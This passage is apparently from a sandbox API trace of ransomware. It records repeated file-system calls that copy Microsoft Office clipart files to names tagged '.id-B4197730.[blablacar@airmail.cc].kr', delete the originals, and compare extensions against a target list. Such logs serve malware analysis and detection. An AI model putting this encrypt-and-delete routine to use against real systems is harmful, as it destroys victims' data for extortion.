liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.212] GetLastError () returned 0x0 [0211.212] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x571c, lpOverlapped=0x0) returned 1 [0211.213] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5720, lpOverlapped=0x0) returned 1 [0211.215] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.215] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.215] SetEndOfFile (hFile=0x4d4) returned 1 [0211.215] CloseHandle (hObject=0x4d4) returned 1 [0211.215] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.215] SetEndOfFile (hFile=0x56c) returned 1 [0211.218] CloseHandle (hObject=0x56c) returned 1 [0211.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0211.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.219] lstrlenW (lpString=".doc") returned 4 [0211.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.219] lstrlenW (lpString=".docx") returned 5 [0211.219] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.219] lstrlenW (lpString=".pdf") returned 4 [0211.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.219] lstrlenW (lpString=".xls") returned 4 [0211.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.220] lstrlenW (lpString=".xlsx") returned 5 [0211.220] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.220] lstrlenW (lpString=".ppt") returned 4 [0211.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString=".zip") returned 4 [0211.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.220] lstrlenW (lpString=".rar") returned 4 [0211.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString=".bz2") returned 4 [0211.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString=".7z") returned 3 [0211.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString=".dbf") returned 4 [0211.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString=".1cd") returned 4 [0211.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString=".jpg") returned 4 [0211.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.220] lstrlenW (lpString=".doc") returned 4 [0211.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString=".docx") returned 5 [0211.221] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.221] lstrlenW (lpString=".pdf") returned 4 [0211.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString=".xls") returned 4 [0211.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.221] lstrlenW (lpString=".xlsx") returned 5 [0211.221] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.221] lstrlenW (lpString=".ppt") returned 4 [0211.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.221] lstrlenW (lpString=".zip") returned 4 [0211.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.221] lstrlenW (lpString=".rar") returned 4 [0211.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString=".bz2") returned 4 [0211.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString=".7z") returned 3 [0211.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.221] lstrlenW (lpString=".dbf") returned 4 [0211.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.221] lstrlenW (lpString=".1cd") returned 4 [0211.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0211.221] lstrlenW (lpString=".jpg") returned 4 [0211.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.221] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.222] lstrlenW (lpString="J0107158.WMF") returned 12 [0211.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.222] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=24908) returned 1 [0211.222] CloseHandle (hObject=0x56c) returned 1 [0211.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0211.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.223] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.223] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.224] GetLastError () returned 0x0 [0211.224] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x614c, lpOverlapped=0x0) returned 1 [0211.521] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x6150, lpOverlapped=0x0) returned 1 [0211.522] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.522] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.522] SetEndOfFile (hFile=0x4d4) returned 1 [0211.523] CloseHandle (hObject=0x4d4) returned 1 [0211.523] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.523] SetEndOfFile (hFile=0x56c) returned 1 [0211.526] CloseHandle (hObject=0x56c) returned 1 [0211.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0211.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.527] lstrlenW (lpString=".doc") returned 4 [0211.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.527] lstrlenW (lpString=".docx") returned 5 [0211.527] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.527] lstrlenW (lpString=".pdf") returned 4 [0211.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.527] lstrlenW (lpString=".xls") returned 4 [0211.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.528] lstrlenW (lpString=".xlsx") returned 5 [0211.528] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.528] lstrlenW (lpString=".ppt") returned 4 [0211.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString=".zip") returned 4 [0211.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.528] lstrlenW (lpString=".rar") returned 4 [0211.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString=".bz2") returned 4 [0211.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString=".7z") returned 3 [0211.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString=".dbf") returned 4 [0211.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString=".1cd") returned 4 [0211.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString=".jpg") returned 4 [0211.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.528] lstrlenW (lpString=".doc") returned 4 [0211.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString=".docx") returned 5 [0211.528] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.528] lstrlenW (lpString=".pdf") returned 4 [0211.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.528] lstrlenW (lpString=".xls") returned 4 [0211.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.529] lstrlenW (lpString=".xlsx") returned 5 [0211.529] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.529] lstrlenW (lpString=".ppt") returned 4 [0211.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.529] lstrlenW (lpString=".zip") returned 4 [0211.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.529] lstrlenW (lpString=".rar") returned 4 [0211.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.529] lstrlenW (lpString=".bz2") returned 4 [0211.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.529] lstrlenW (lpString=".7z") returned 3 [0211.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.529] lstrlenW (lpString=".dbf") returned 4 [0211.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.529] lstrlenW (lpString=".1cd") returned 4 [0211.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0211.529] lstrlenW (lpString=".jpg") returned 4 [0211.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.529] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.529] lstrlenW (lpString="J0107282.WMF") returned 12 [0211.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.530] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=14132) returned 1 [0211.530] CloseHandle (hObject=0x56c) returned 1 [0211.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0211.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.531] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.531] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.532] GetLastError () returned 0x0 [0211.532] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3734, lpOverlapped=0x0) returned 1 [0211.534] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3740, lpOverlapped=0x0) returned 1 [0211.535] ReadFile (in: hFile=0x56c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.535] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0211.535] SetEndOfFile (hFile=0x4d4) returned 1 [0211.535] CloseHandle (hObject=0x4d4) returned 1 [0211.535] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.535] SetEndOfFile (hFile=0x56c) returned 1 [0211.538] CloseHandle (hObject=0x56c) returned 1 [0211.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0211.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.539] lstrlenW (lpString=".doc") returned 4 [0211.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.539] lstrlenW (lpString=".docx") returned 5 [0211.539] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.539] lstrlenW (lpString=".pdf") returned 4 [0211.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.539] lstrlenW (lpString=".xls") returned 4 [0211.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.539] lstrlenW (lpString=".xlsx") returned 5 [0211.539] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.539] lstrlenW (lpString=".ppt") returned 4 [0211.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.539] lstrlenW (lpString=".zip") returned 4 [0211.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.539] lstrlenW (lpString=".rar") returned 4 [0211.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.539] lstrlenW (lpString=".bz2") returned 4 [0211.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.539] lstrlenW (lpString=".7z") returned 3 [0211.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString=".dbf") returned 4 [0211.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString=".1cd") returned 4 [0211.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString=".jpg") returned 4 [0211.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString=".doc") returned 4 [0211.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString=".docx") returned 5 [0211.540] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0211.540] lstrlenW (lpString=".pdf") returned 4 [0211.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString=".xls") returned 4 [0211.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.540] lstrlenW (lpString=".xlsx") returned 5 [0211.540] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0211.540] lstrlenW (lpString=".ppt") returned 4 [0211.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.540] lstrlenW (lpString=".zip") returned 4 [0211.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.540] lstrlenW (lpString=".rar") returned 4 [0211.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString=".bz2") returned 4 [0211.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.540] lstrlenW (lpString=".7z") returned 3 [0211.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.541] lstrlenW (lpString=".dbf") returned 4 [0211.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.541] lstrlenW (lpString=".1cd") returned 4 [0211.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0211.541] lstrlenW (lpString=".jpg") returned 4 [0211.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.541] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.541] lstrlenW (lpString="J0107288.WMF") returned 12 [0211.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.542] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=13436) returned 1 [0211.542] CloseHandle (hObject=0x56c) returned 1 [0211.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0211.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.542] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.542] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 